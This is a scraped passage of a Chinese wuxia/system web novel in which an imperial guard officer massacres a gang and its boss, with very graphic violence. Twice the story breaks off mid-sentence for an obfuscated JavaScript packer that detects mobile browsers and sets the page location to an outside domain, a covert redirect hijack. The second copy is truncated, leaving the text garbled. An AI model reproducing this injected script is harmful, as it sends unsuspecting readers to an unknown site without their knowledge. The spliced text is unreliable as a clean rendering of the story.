他们大多数人手中都拖着明晃晃的利刃,刀刃在青石板上拖行,发出密集而刺耳的“滋滋滋滋”声,仿佛有成千上万只蝉在同时嘶鸣,听得人头皮发麻! 这些人,显然都是地鼠帮能够调动的外围人手。 虽然其中真正能打的不多,但仗着人数足够庞大,汇聚在一起,那股乌泱泱的压迫感还是极为骇人的! 地鼠轩内外的气氛,瞬间变得更加压抑! 仿佛空气都凝固了,沉重得让人喘不过气来! 陶永春脸上带着一丝若有若无的微笑,在一众凶悍手下的簇拥下,缓缓走到王辉面前。 立刻有手下机灵地搬来一把铺着软垫的太师椅。 陶永春慢条斯理地坐下,又接过手下递来的一杯新沏的热茶,轻轻地吹了吹气,呷了一口,这才抬起眼皮,慢悠悠地说道: “老夫,陶永春。” 王辉瞥了他一眼,目光如同在看一件死物,语气平淡却带着极致的侮辱:“哦?你就是那只不敢见光,只会在暗地里打洞的老鼠?” 陶永春:你说什么?! “小子!你他妈嘴巴给我放干净点!” “锦衣卫了不起啊?信不信老子们今天让你走不出这条街!” “……” 王辉这话一出,如同点燃了火药桶! 陶永春身后那一众核心打手当即就炸了锅,纷纷指着王辉怒骂起来,群情激愤 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16513486|186188||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,兵刃碰撞作响,眼看就要失控! 陶永春脸上的肌肉微微抽搐了一下,但很快又恢复了那副淡然的表情。他抬起枯瘦的手,轻轻摆了摆,制止了身后手下的躁动。 他微微笑了笑,只是那笑容里已经没了丝毫温度,说道:“王大人乃是官面上的人,不混我们这江湖底层,不知道老夫的微名也属正常。 那老夫就自我介绍一下,我叫陶永春,承蒙江湖上的朋友们给面子,送了个外号叫‘钻地鼠’。同道抬爱,大都叫一声‘陶爷’。王大人若是愿意,也不妨这么称呼。” 王辉微微眯了眯眼睛,眼中寒光流转,冷声道:“我若这么叫你……你怕是要用命来听这一声‘爷’。” “小子,你他妈别太狂了!” 当即,陶永春身后一个身材魁梧、满脸横肉的彪形大汉就忍不住了,上前一步,指着王辉的鼻子怒骂道:“我们陶爷让你叫一声爷,那是给你天大的面……” “锵!” 一道尖锐至极的金戈撕裂声骤然炸响! 一道雪亮的刀光如同闪电般掠过! 没有人看清王辉是如何出刀的! 只见他手中的绣春刀如同毒蛇出洞,又似蛟龙出海,以一個不可思议的角度和速度疾刺而出! 精准无比地……直接插进了那个正在叫骂的彪形大汉大张的嘴巴里! 锋利的刀尖势不可挡,瞬间从其后脑勺洞穿而出! 时间仿佛在这一刻凝固了。 王辉手腕微微一抖, “噗嗤!” 抽刀而出。 一股血箭伴随着红白之物从彪形大汉的后脑和口中喷涌而出。 那彪形大汉脸上的怒容瞬间凝固,眼中充满了难以置信的惊恐,庞大的身躯晃了晃,然后“轰”然一声重重倒地,溅起一片灰尘。 鲜血迅速在他身下蔓延开来,甚至有几滴灼热的血珠,溅落进了陶永春手中那杯尚且温热的茶杯里。 整个地鼠轩,刹那间死寂无声! 落针可闻! 只有那浓重的血腥味,迅速弥漫开来。 王辉面无表情,轻轻地甩了甩刀锋上沾染的鲜血和脑浆,动作优雅得仿佛只是拂去了一点尘埃。 王辉抬起眼眸,望向脸色彻底僵硬、眼神阴鸷得可怕的陶永春,语气平淡地问道: “陶爷,您这手下……不太懂规矩。” “我帮您清理一下门户,” “您,应该没意见吧?” 陶永春端着那杯溅入了鲜血的茶,手指捏得杯壁微微发白,脸上的假笑早已消失无踪,只剩下冰冷的阴沉。他没有说话,只是死死地盯着王辉。 他身后那些原本叫嚣得最凶的打手们,此刻也都像是被掐住了脖子的鸭子,一个个噤若寒蝉,脸色发白,下意识地后退了半步,不敢再与王辉那冰冷的目光对视。 王辉轻笑了一下,仿佛刚才只是随手拍死了一只苍蝇。 王辉从身旁陈飞手中再次取过那沓画影图形,直接“啪”的一声摔在陶永春面前的茶几上,将那杯血茶震得晃动不已。 “陶爷,”王辉的声音重新变得冷硬,“这画像上的人,有一个算一个,全都给我交出来。” “我刚刚叫了你两声‘陶爷’,” “这点面子,总该值得起这个价吧?” 陶永春缓缓地、缓缓地将手中那杯已经污浊的茶杯放在茶几上,溅出的血水在名贵的木材上留下刺眼的痕迹。 陶永春抬起眼皮,目光如同毒蛇般阴冷,声音也变得低沉沙哑: “王大人,今天千户所的诸位大人和岳百户可都还在这里站着呢。” “您该不会是想……在这众目睽睽之下,公然动用私刑,屈打成招吧?” “我陶永春,可是正经的本分生意人,千户所的诸位大人明察秋毫,皆可为我作证。” 他说着,目光扫向门外那黑压压的人群,语气带上了一丝有恃无恐的威胁: “哦,对了,我外面那几百号兄弟,也都可以为我作证。” “王大人,您办案……总不能不听证人说话吧?” “要不,您不妨现在就出去,亲自问问我那几百号兄弟……他们,愿不愿意给您作这个证?如何?” 35. 血溅地鼠轩 随着陶永春那带着几分戏谑和威胁的话音落下。 地鼠轩外,长街上那黑压压一片、足足五六百号的地鼠帮帮众仿佛收到了无声的指令,开始齐齐向前涌动! 浩荡的人流如同决堤的洪水,带着一股混杂着汗味、尘土味和戾气的磅礴气势,一步步朝着地鼠轩那洞开的大门压迫而来! 脚步声、刀刃拖地声、低沉的呼喝声汇聚在一起,形成一股令人窒息的声浪和压力墙! 那一瞬间,就连南城百户所那些刚刚还士气高昂的锦衣卫们,也不由得感到一阵心悸和紧张。 下意识地握紧了手中的刀,阵型微微收缩,背靠背警惕地望向门外那几乎望不到头的人群。 人数的绝对劣势,带来的心理压力是实实在在的。 陶永春将这一切尽收眼底,脸上露出一丝掌控一切的淡然微笑。 他缓缓起身,竟然伸出手,带着几分倚老卖老的姿态,轻轻拍了拍王辉的肩膀,语气如同长辈教训不懂事的子侄: “王大人呐,年轻人有干劲、有冲劲,这是好事。我们谁都是从年轻时候过来的,都理解。” 陶永春话锋一转,语气变得意味深长,带着一丝警告:“但是,年轻人也不能仗着自己年轻,就什么都不管不顾,什么规矩都不讲。 这个世界,光靠一股蛮横劲儿是行不通的,容易……栽跟头啊。” 王辉微微眯了眯眼睛,瞳孔中仿佛有寒冰在凝结。 王辉缓缓说道:“说了这么多废话……你的意思就是,不肯交人了?” 陶永春脸上的笑容依旧,摊了摊手,故作无奈道:“王大人这说的是哪里话?官府有需要,我这样的正经守法生意人,肯定是倾力配合,绝无二话啊!” 陶永春顿了顿,声音提高了几分,仿佛是说给在场所有人听:“但是,没有就是没有!您让我交,我也变不出人来啊? 这样吧,王大人您先带弟兄们回去歇着,我立马发动我手底下所有的兄弟,帮您在城里仔细找找您要的这些人? 一旦有消息,立马亲自给您送到百户所去?如何?” 这话听起来客气,实则充满了敷衍和挑衅。 王辉冷笑了一声,根本不吃他这一套,直接道:“少TM来这套。现在,不是你配不配合的问题。是你地鼠轩涉嫌贩卖朝廷禁药五石散,证据确凿!你,作为掌柜的,跟我回百户所走一趟吧!” 陶永春闻言,像是听到了什么好笑的事情,摇了摇头,失笑道:“王大人啊王大人……看来您是真的还没看懂眼下的情形啊?” 陶永春往前凑近了一点,声音压低,却足以让周围的人都听到,语气中的威胁意味毫不掩饰。 我陶永春清清白白,倒是不介意跟王大人您回去喝杯茶。但是嘛……我就是不知道,我外面这几百号担心我安危的兄弟们,他们答不答应啊? “唰!” 霎时间!!! 门外那黑压压的人群仿佛得到了信号,最前面的一大波江湖汉子开始嘶吼着,如同潮水般朝着地鼠轩的大门汹涌地挤了进来!刀光闪烁,喊杀声震耳欲聋! 就在这时! 一直被晾在一旁的岳天波看准时机,猛地踏步上前,从怀中取出一块雕刻着繁复花纹、代表千户所权威的令牌,高高举起,对着王辉怒声喝道: “王辉!你闹够了没有!无法无天!本官现在手持罗千户亲颁手令,命令你立刻停止一切行动,马上带着你的人,滚回百户所待命!若有违抗,以叛律论处!” 陶永春见状,脸上的笑容更加从容,他微微摇了摇头,用一种近乎怜悯的语气对王辉说道:“王大人,年轻气盛,有时候不一定是坏事,但也绝对不会是好事儿。 听岳大人一句劝,回去吧。你还年轻,路还长着呢,何必非要撞得头破血流呢?有些道理,得慢慢学。 王辉脸上露出极度不屑的神情,嗤笑道:“老东西,你是不是觉得……今天有岳天波在这里给你撑腰,拿着块破令牌,本官就不敢动你了? 陶永春此刻心里是真的一点都不怵了。 若是岳天波不在这里,他还真得顾忌三分,毕竟王辉是个真的什么都敢干的狠角色,逼急了真可能不管不顾下死手。 但那是平时! 因为王辉的官方身份是个护身符,也是个束缚。 若他陶永春敢在没有上官在场“主持公道”的情况下,公然汇聚数百人围攻锦衣卫,那这个罪名可就大了去了,谁也保不住他。 可现在岳天波在这里,意义就完全不同了! 岳天波代表着千户所,代表着“官方”的另一股声音!如果王辉现在还敢动手,那他陶永春就真敢下令跟王辉火拼! 到时候事情闹大了,自然有岳天波和千户所的人出面“厘清真相”,他最多也就是交几个无关紧要的小喽啰出去顶罪,意思一下就行了。 他相信,以王辉的聪明,不可能不明白这其中的利害关系。 所以,尽管知道王辉有“小杀神”的凶名,他还真不信王辉敢在岳天波眼皮子底下,顶着“抗命”和“引发大规模冲突”的双重风险,真的对他动手。 陶永春甚至轻笑了一声,语气带着一丝居高临下的“教诲”,低声道:“王大人,老夫之所以对你一再容忍,那是给唐浩唐百户面子,你可千万别自误了。 你那个‘小杀神’的名头,吓唬吓唬那些没见过世面的小角色还行,在我陶永春这儿,真值不了几个钱。 陶永春摆了摆手,仿佛已经失去了耐心:“回去吧,年轻人。记住今天这个教训,以后啊,柿子……得挑软的捏!硬骨头,容易硌掉牙!” 说罢,陶永春竟是真的缓缓转身,背负双手,准备在一众手下的簇拥下上楼去了。 那姿态,俨然是已经掌控了全局,不屑于再与王辉多言。 然而,就在他转身,将后背完全暴露出来的那一刹那, 王辉微微眯起的眼睛里,骤然爆射出骇人的凶光! 王辉从牙缝里,缓缓地、清晰地挤出来几个字,声音不大,却如同冰渣子一样寒冷刺骨: “老东西……给你脸,你不要脸!” 话音未落, “嗡!” 王辉手中的横刀骤然发出一阵低沉而充满杀意的嗡鸣!磅礴的内力毫无保留地瞬间灌输其中,刀身仿佛都蒙上了一层淡淡的乌光! 下一刻, 刀光乍现! 如同一道撕裂昏暗空间的乌暗闪电,带着凄厉的破空声,以一個刁钻狠辣的角度,直劈陶永春毫无防备的后心要害! 陶永春毕竟是成名多年的三品武者,对危险的感知力远超常人。 就在王辉杀意爆发的瞬间,他后背的汗毛猛然倒竖,一股冰冷的死亡危机感瞬间攫住了他的心脏! “不好!” 陶永春心下骇然,几乎是凭借本能,脚下猛地一点地面,家传的轻身功法瞬间施展到极致,身影如同被强风吹起的柳絮,轻盈而又极其迅捷地向前飘飞了出去! “嗤啦!” 锋利的刀尖几乎是擦着他的后襟掠过,将他的锦袍划开一道长长的口子,险之又险地避开了这断魂一击! 并且在向前飘飞的半空中,陶永春强扭腰身,硬生生旋转了半圈,面向王辉,眼中充满了极致的震惊和难以置信,失声惊呼道: “王辉!你竟敢……” 陶永春无论如何也想不到,王辉竟然真的敢!在岳天波手持千户令的情况下,在数百帮众的包围中,真的毫无顾忌地对他下了杀手! 然而, 王辉根本没有给他任何废话或者质问的时间! 第一刀落空的瞬间,第二刀已然紧随而至!攻势如同狂风暴雨,连绵不绝! 那一瞬间,王辉脚下步伐变幻,如同鬼魅穿梭,《雁凌术》施展之下,身法快得拉出了一道残影,几乎是眨眼间就再次迫近到陶永春面前,手中横刀化作一道闪电,力劈华山般当头斩下! 陶永春心中大骇!他没想到王辉的轻功竟然也如此精深诡异,速度远超他的预估! 猝不及防之下,陶永春人在半空旧力已尽新力未生,根本来不及完全躲闪,只能仓促间将内力运至右掌,硬着头皮,一掌拍向横刀的刀身侧面,试图以巧劲荡开这致命一击。 “啪!” “锵!” 掌刀猛烈碰撞! 先是肉掌拍击金属的沉闷响声,紧接着是刀刃受震发出的颤鸣! 一股巨大的力道透过刀身传来,陶永春只觉得右掌仿佛拍在了一座高速冲来的铁山上,一股剧痛夹杂着强烈的麻痹感瞬间席卷整条手臂! “噔噔噔……” 陶永春身体不受控制地倒飞出来,虽然凭借高超的轻功勉强卸力。 飘然落地,看似潇洒,但那条刚刚用来拍击刀身的右臂却在宽大袖袍的掩盖下不受控制地剧烈颤抖,钻心的疼痛让他额头瞬间冒出了冷汗。 陶永春的掌功本就不是特长,最引以为傲的是轻功和身法。 方才情急之下以己之短攻彼之长,这条手臂的骨骼和经脉都受到了不小的震荡,差点就直接被废掉! 然而, 王辉的攻击如同跗骨之蛆,根本没有丝毫停顿! 就在陶永春落地的瞬间,王辉已经再次如影随形般疾冲而来,刀光闪烁,杀意凛然! 陶永春脸色剧变!他最擅长的轻功 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而岳天波和几个千户所的高层,在这一瞬间就显得极其尴尬和狼狈了。 打?帮谁? 南城百户所理论上还是同僚,他们没理由动手,更不敢在这众目睽睽之下对同僚挥刀相向,那性质就完全变了。 而地鼠帮的人?虽然算是“自己人”安排来的,但他们身为锦衣卫官员,难道还能公然帮助江湖帮派攻打另一支锦衣卫队伍?那是取死之道! 岳天波:“退!先退出去!” 岳天波反应极快,当即立断,带着几个同样慌乱的参事和那位百户,在一队亲卫的保护下,狼狈不堪地退向楼梯,朝着二楼退去。 “岳…岳大人,现在我们怎么办?”一个参事脸色发白,声音颤抖地急忙询问道。 岳天波退到二楼相对安全的区域,看着楼下已经彻底爆发的混战,脸色阴沉得可怕,咬牙低声道:“让他们打!这里是地鼠帮的核心地盘,他们人多!王辉猖狂自大,主动挑起战端,肯定不是地鼠帮的对手! 要么王辉今天就死在这里,要么也是损失惨重!无论哪种结果,我们都可以趁机出面收拾残局,彻底掌控南城百户所!” 岳天波眼中闪过一丝狠厉:“至于地鼠帮……到时候,随便交几个替死鬼出去意思意思就行了!陶永春是个聪明人,他知道该怎么做!” …… 一楼大厅之中, 战斗已经进入了白热化。狭小的空间里,刀光剑影,血肉横飞,极其惨烈。 陶永春趁着自己手下拼死挡住王辉的瞬间,体内真气运转,将轻功施展到极致,如同一条滑溜的泥鳅,在混乱的人群中快速穿梭,朝着大厅门口的方向猛冲而去! 只要到了外面开阔地带,天高任鸟飞,王辉轻功不如他,就再也奈何不了他! 陶永春的成名绝技就是轻功和遁术,跑起来的速度极快,虽然年纪大了气血有所衰败,但毕竟有着三品修为的底子在,短时间内的爆发力依旧惊人。 相比之下,王辉虽然也精通《雁凌术》,轻功身法在同等境界中算得上出色,但对比起以轻功闻名的“钻地鼠”陶永春,在纯粹的速度和灵巧上,确实还存在一些差距。 但是,王辉有他的优势——那就是毫无顾忌的杀伐和一条笔直的血路! “挡我者死!” 王辉发出一声咆哮,根本不去刻意追逐陶永春那飘忽的身影,而是认准了门口的方向,手中的横刀化作一道道死亡旋风,直接朝着人群最密集的地方悍然冲杀过去! 呼啸的破空声,凄厉的惨叫声,根本不给那些地鼠帮帮众任何反应和包围的时间! 刀光过处,一颗颗头颅冲天而起!一条条断臂伴随着破碎的内脏四处横飞!一具具尸体如同被割倒的麦子般成片倒下,瞬间被踩踏成肉泥! 王辉所过之处,当真是一片尸山血海,硬生生被他用最暴力、最血腥的方式,杀穿了一条直通大门的血路! 地鼠帮的这些帮众,虽然人多,但大多只是乌合之众,何曾见过如此凶残酷烈的杀戮手段?一时间竟然被杀得胆寒,节节败退! 【经验值+15】 【经验值+25】 【经验值+13】 【经验值+18】…… 同一时间,王辉的脑海里,系统的提示音开始疯狂地响起,如同最美妙的乐章! 当他如同血狱修罗般,一路摧枯拉朽冲杀到大厅门口时, 脑海中积累的经验值总额,瞬间突破了一百点大关! 36. 浴血冲杀陷死局 【使用100点经验值】 【烈风刀法升级至入门境】 指令落下的刹那,王辉只觉天灵盖猛地一沉,意识如同被卷入狂暴的气旋,瞬间脱离了纷杂的战场。 眼前的血色与刀光骤然消散,取而代之的是一片混沌的虚空——这里没有天,没有地,唯有呼啸的狂风与无尽的刀影交织成一张密不透风的网。 王辉仿佛化作了一缕风,又似一柄刀,在这片奇异的空间里无休止地挥砍。 每一次提刀,内力便循着一种全新的轨迹在经脉中奔涌:从丹田起始,经会阴、过命门,再向上窜至肩井,最终凝于手腕,顺着刀柄灌入刀身。 那股内力不再是此前的刚猛冲撞,而是如同被压缩的狂风,在刀身内盘旋激荡,待劈出的瞬间骤然爆发,化作能撕裂空气的凌厉刀气。 刀刃划过空气的轨迹从笨拙的弧线变得笔直而刁钻,内力运转的滞涩感逐渐消失,取而代之的是行云流水的顺畅。 当王辉猛地“睁开”眼睛时,地鼠轩内的混战声如同潮水般重新涌入耳中。 王辉低头看向手中的横刀——这柄制式普通的兵器,此刻竟像是有了生命,刀身微微震颤,与他的心跳产生了奇妙的共鸣。 王辉能清晰地感知到刀刃的每一处弧度,每一寸锋利,甚至能“听”到刀身渴望饮血的嗡鸣。 一种前所未有的自信从心底升起。若是此刻再面对陶永春,他有把握在三招之内压制对方! 此时的地鼠轩大厅,早已是一片人间炼狱。 浓郁的血腥味混合着木材燃烧的焦糊味(方才混战中不知谁碰倒了烛台,引燃了墙角的帐幔,虽被及时扑灭,却留下了刺鼻的焦味),呛得人几乎喘不过气。 锦衣卫们正有条不紊地清剿残余的帮众:陈飞手持绣春刀,刀刃已崩开数道缺口,他左腿膝盖被划开一道深可见骨的伤口,却依旧咬牙顶着,只见他侧身避开一名帮众的劈砍,反手将刀刺入对方的腰腹,拔出时带起一串滚烫的血珠。 马三则弃了刀,赤手空拳与一名壮汉缠斗,他左臂被打脱了臼,却用右手死死锁住对方的喉咙,膝盖猛地顶向对方的肋骨,只听“咔嚓”一声脆响,壮汉惨叫着软倒在地。 王辉握刀的手紧了紧,体内的内力如同沸腾的开水般躁动。 他深吸一口气,猛地踏前一步,横刀在身前划出一道半圆的弧光。“嗤啦”一声,两名正围攻一名锦衣卫的帮众应声倒地,脖颈处的伤口喷涌出鲜血,溅在旁边的八仙桌上,将桌面上的青花瓷瓶染得通红。 王辉的动作变得简洁到了极致,没有多余的试探,没有花哨的招式。 每一次挥刀,都精准地瞄准敌人的要害——脖颈、心口、手腕。《烈风刀法》的入门境虽不足以让他劈出实质性的刀气,却让他的出刀速度提升了数倍,刀势也变得愈发凌厉。 短短数息之间,王辉便从混战的核心杀到了门口。他一脚踹开那扇早已被砍得破烂不堪的木门,木屑纷飞中,凛冽的寒风夹杂着大片的雪花扑面而来,瞬间吹散了他脸上的血污。 长街上,大雪依旧狂舞。 树梢上积着厚厚的雪,如同缀满了白色的棉絮;屋顶的雪被狂风卷着,形成一道道白色的漩涡;远处的城墙在阴沉的天空下只剩下一道模糊的黑影,整个世界仿佛被一张巨大的白色帷幕笼罩。 而在这片纯白之中,数百名地鼠帮帮众如同黑压压的蝼蚁,堵在了长街的两端。 他们大多穿着破旧的棉袄,手中握着各式各样的兵器——数百把兵器在雪光的映衬下,泛着冰冷的寒光,与这酷寒的天气相得益彰,更添几分肃杀。 南城百户所的锦衣卫们紧随王辉身后走出地鼠轩,他们大多浑身浴血,有的手臂被砍伤,用布条简单包扎着。 有的脸上带着划痕,血珠混着汗水顺着脸颊滑落,在下巴处凝结成细小的冰粒。一百余人的队伍,此刻显得如此单薄,如同惊涛骇浪前的一叶扁舟。 但没有一个人后退,所有人的目光都牢牢锁定在王辉的背影上。雪花落在他染血的飞鱼服肩头,很快便被体温融化,留下一片片深色的水渍。他的脊背挺得笔直,仿佛一根插入雪地的长枪,孤傲却又坚定,让人心安。 王辉缓缓抬起右手,手腕轻轻一抖。“唰”的一声,横刀上的血珠被震落,滴在雪地上,瞬间融化了一小片积雪,留下一个深色的小坑。 王辉往前踏出一步。 仅仅一步! 一股磅礴的气势骤然从他体内爆发出来!那股气势如同骤然升起的山岳,沉重而压抑;又似出鞘的利刃,锋利而凌厉。这股气势以王辉为中心,朝着四周扩散开来,竟硬生生压过了数百名帮众汇聚而成的凶戾之气! 长街上的风雪仿佛都停滞了一瞬。 对面的地鼠帮帮众们脸色骤变,不少人下意识地后退了半步。站在最前排的几个汉子,甚至能感觉到一股寒意从脚底窜上头顶,握刀的手不自觉地收紧,指节因为用力而发白。 有人的牙齿开始打颤,不是因为冷,而是因为恐惧——那是一种面对绝对强者时,发自骨髓的畏惧。 尔等—— 王辉开口了。他的声音并不响亮,却带着一股穿透风雪的力量,如同铅块般砸在每个人的心头。他的目光如同两道冷电,缓缓扫过眼前的人群,每扫过一个人,那人便下意识地低下头,不敢与他对视。 是想要被株连三族吗? 这句话如同惊雷般在长街上炸响。帮众中顿时响起一阵骚动,有人开始窃窃私语,眼神中充满了犹豫。 他们大多是都江城的底层百姓,加入地鼠帮不过是为了混口饭吃,何曾听过“株连三族”这种诛心的话? 王辉的目光继续扫视,声音愈发冰冷:“疑犯陶永春,涉嫌贩卖五石散,窝藏朝廷钦犯,当众拒捕,袭杀锦衣卫,罪证确凿,当诛九族!凡持械与之同行、负隅顽抗者,以同谋论处,一并格杀!” 风雪呼啸,卷起他的话语,在空旷的长街上回荡。 王辉的每一个字,都像是一把锤子,敲打着帮众们脆弱的心理防线。 有人悄悄放下了手中的兵器,有人往后缩了缩,试图藏在人群中。 人群深处,陶永春的脸色铁青得如同锅底。他躲在几名高大的帮众身后,手指死死抠着身边人的肩膀,指甲几乎要掐进肉里。他怎么也没想到,王辉竟然用“株连三族”这种话来瓦解他的人心! “王大人!事已至此,何必两败俱伤!”陶永春运足内力,声音从人群中传出,带着一丝刻意装出的镇定,“要么你现在带人退走,今日之事我等可以当作没发生过,要么…… 铖——! 不等他说完,王辉猛地抬起脚,踹向地面上一柄沾染着血迹的钢刀。那钢刀如同被强弩射出的箭矢,瞬间化作一道模糊的黑影,刀身旋转着,发出凄厉的破空声,朝着陶永春藏身的方向射去! 速度太快了! 快到帮众们根本来不及反应! “噗嗤!” 一声闷响,钢刀精准无比地洞穿了一名挡在陶永春身前的帮众胸膛。那名帮众甚至来不及发出一声惨叫,身体便被巨大的力量带着倒飞出去! “嘭!” 他的身体撞在身后的几人身上,如同推倒了多米诺骨牌,那几人纷纷惨叫着倒地,在雪地上滚出一串深色的血痕。 人群顿时陷入一片混乱,有人惊呼着躲闪,有人试图扶起倒地的同伴,原本整齐的阵型瞬间变得散乱。 “杀!!” 王辉没有给对方任何喘息的机会。他发出一声震动长空的咆哮,声音中充满了一往无前的杀意。他身先士卒,如同离弦之箭般朝着人群冲去! 手中的横刀呛啷一声出鞘(虽早已出鞘,却在风雪中划出一道耀眼的弧光),刀光如电,似蛟龙出渊,迅捷到了极点,直劈向站在最前面的那名帮众! 那名帮众吓得魂飞魄散,下意识地举起手中的钢刀格挡。 “铛!” 两刀相撞,发出一声刺耳的金铁交鸣! 那名帮众只觉得一股巨力从刀身传来,手臂瞬间被震得发麻,手中的钢刀脱手飞出,旋转着插进旁边的雪地里,刀柄还在嗡嗡震颤。 他还没来得及做出下一步反应,王辉的横刀已经划过一道刁钻的弧线,落在了他的脖颈上。 “噗嗤!” 鲜血喷溅而出,如同喷泉般洒向天空,又在风雪中落下,将洁白的雪地染成一片触目惊心的绯红。那名帮众的头颅滚落在雪地上,眼睛瞪得大大的,似乎还不敢相信自己就这么死了。 而他的身体,在片刻的僵硬后,“嘭”的一声倒在地上,鲜血从脖颈的伤口处汩汩流出,很快便在雪地上汇成一滩暗红色的血泊。 王辉没有停顿。他如同从血狱中踏出的魔神,沐浴着漫天血雨,继续朝着人群深处冲去。 手中的横刀上下翻飞,每一次挥砍,都伴随着一声惨叫和一片鲜血。 《烈风刀法》的“风卷残云”在此刻展现得淋漓尽致。 王辉的刀势越来越快,越来越猛,刀光闪烁间,如同狂风过境,卷起一片片血雾。 有的帮众被一刀枭首,有的被拦腰斩断,有的被劈成两半——那画面太过惨烈,让不少帮众吓得双腿发软,甚至当场瘫倒在地。 长街上的喧嚣瞬间消失了。 数百名帮众愣愣地看着眼前的一幕,目光追随着那名同伴被劈成两半的身体,震惊迅速被无边的恐惧所取代。 他们手中的钢刀变得无比沉重,挥刀的勇气如同被戳破的气囊般飞速流逝。 陶永春:怕什么?!他就一个人! 陶永春见状,声嘶力竭地大吼:我们几百号人,耗也能耗死他!都给老子上!砍死他赏银千两! 赏银千两! 这四个字如同兴奋剂,瞬间唤醒了一部分帮众的贪欲。 江湖之中,永远不缺少被金钱冲昏头脑的亡命之徒。人群中,几名穿着黑色短打的汉子眼睛一亮,互相递了个眼色,举起手中的钢刀,朝着王辉冲去。 紧接着,更多的帮众被这股狂热感染。 有人渴望通过斩杀王辉获得赏金,有人想在陶永春面前表现自己,还有人被周围的人群裹挟着,不得不硬着头皮往前冲。 “杀啊!” “砍死他!” 杂乱却声势浩大的喊杀声再次响起。 数百名帮众举起手中的兵器,如同决堤的潮水般朝着王辉和锦衣卫们冲来。 他们的脚步踏在雪地上,发出“咯吱咯吱”的声响,如同无数只老鼠在啃咬木头,让人头皮发麻。 地鼠帮能成为都江城二流帮派中的翘楚,自然有其过人之处。虽然顶尖高手不多,但四五品的武者数量超过双手之数。这些武者大多身经百战,配合默契,此刻在陶永春的鼓动下,纷纷使出看家本领,朝着锦衣卫们杀来。 “杀!” “保护大人!” 南城锦衣卫这边,陈飞捂着流血的膝盖,率先发出决死的怒吼。马三也从地上捡起一把刀,跟着冲了上去。 锦衣卫们紧随其后,毫不畏惧地迎着人潮冲杀上去! 他们虽然人数劣势,但毕竟是受过正规训练的朝廷兵士。每个人都穿着轻便的铠甲,手中的绣春刀锋利无比,加之王辉身先士卒的作风极大地激励了士气,使得他们虽面对数倍于己的敌人,却依旧气势如虹。 “铛!铛!铛!” 兵刃碰撞声瞬间响彻长街。 一名锦衣卫用绣春刀格挡开一名帮众的劈砍,反手将刀刺入对方的腹部。 另一名锦衣卫则被两名帮众围攻,左臂被砍中一刀,却依旧咬牙坚持,用刀背砸晕了其中一人;还有的锦衣卫背靠着背,形成一个小小的包围圈,抵挡着潮水般的敌人。 长街瞬间化作了血腥的修罗场。 雪花依旧狂舞,却被飞溅的鲜血染成了红色;洁白的雪地,很快便被一层厚厚的血污覆盖,变得泥泞不堪。 惨叫声、怒吼声、兵刃碰撞声交织在一起,构成了一曲绝望的死亡乐章。 混在人群中的陶永春,脸色难看至极。 他躲在几名高手身后,看着王辉在人群中左冲右突,如同无人之境,心中的震惊越来越强烈。 混在人群中的陶永春脸色难看至极。 即便到了这一步,他依旧难以相信王辉竟然真的敢如此不顾后果地死拼到底! 至于吗?啊?你踏马至于吗?! 陶永春此刻真想剖开王辉的脑子看看里面装的是什么! 这他妈是锦衣卫内部的权力纷争,是上官之间的博弈算计!是玩弄权术和规则的游戏! 你他娘的一个区区总旗,至于这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“去,把王辉围起来!”陶永春压低声音,语气中带着不容置疑的命令,“记住,不要跟他硬拼,用缠斗耗尽他的内力!” 几名高手点了点头,身形如同鬼魅般在人群中穿梭,朝着王辉的方向包抄而去。 那名四品巅峰的壮汉手中握着一柄短斧,斧刃上闪烁着寒光;旁边的瘦高个则拿着一把长剑,剑尖微微下垂,随时准备刺出; 还有两人握着钢刀,跟在后面,形成了一个扇形的包围圈。 陶永春自己也拿着一柄厚背钢刀。刀身微微震颤,发出低沉的嗡鸣,随时准备出手! 陶永春神变得狠厉起来,之前在地鼠轩内的短暂交手,他已经对王辉的实力有了大致的预估。 如今到了这开阔的长街,他最引以为傲的轻功身法不再受限制,自认足以与王辉周旋。 更何况还有几名高手从旁协助,围杀一个王辉,当是十拿九稳! “王辉,你的死期到了!”陶永春低声呢喃,身形如同离弦之箭般朝着王辉靠近。 陶永春的轻功果然名不虚传,脚步踏在雪地上,几乎没有留下任何痕迹,速度快得如同一阵风。 此时的王辉,正沉浸在杀戮的快感之中。 王辉浑身浴血,飞鱼服早已被鲜血染成了暗红色,脸上、头发上都沾满了血污,唯有一双眼睛,依旧明亮而冰冷。手中的横刀如同死神的镰刀,每一次挥砍,都能带起一片血雾! 【经验值+15】 【经验值+25】 【经验值+18】 【经验值+22】 脑海中,系统提示音如同最美妙的乐章,连绵不绝。每一次听到这声音,王辉的精神便为之一振,体内的内力仿佛也变得更加充沛。 王辉甚至能清晰地感觉到,自己的经验值正在飞速增长,距离下一次升级已经不远了。 王辉如同一只闯入羊群的猛虎,在帮众中横冲直撞。 一名帮众试图从背后偷袭他,却被他敏锐地察觉到,反手一刀,便将对方的手臂砍断,同时一脚踹在对方的胸口,将对方踹飞出去,撞在墙上昏死过去。 紧跟在他身后的锦衣卫们,对此早已习以为常。无论是参与过长宁坊血战的老兵,还是近期跟随王辉执行任务的新人,都知道这位年轻的上司,打仗从来都是冲在最前面。 也正是这种身先士卒、悍不畏死的作风,让锦衣卫们士气高涨,即便面对数倍于己的敌人,也依旧死死地顶住了压力。 “大人,小心左边!”一名锦衣卫大喊着,同时用刀格挡开一名帮众的攻击,为王辉扫清了左侧的威胁。 王辉点了点头,没有回头,继续朝着人群深处冲杀。 王辉的目标很明确——找到陶永春,将他斩杀!只要陶永春一死,这场战斗便会不攻自破。 然而,就在他忘情冲杀,刀下亡魂不断增多之际,身后突然传来陈飞声嘶力竭、充满惊惶的大吼: “大人!小心!快退!!” 这声大吼,如同惊雷般在王辉耳边炸响。他的心神猛地一凛,挥刀的动作下意识地顿了顿。 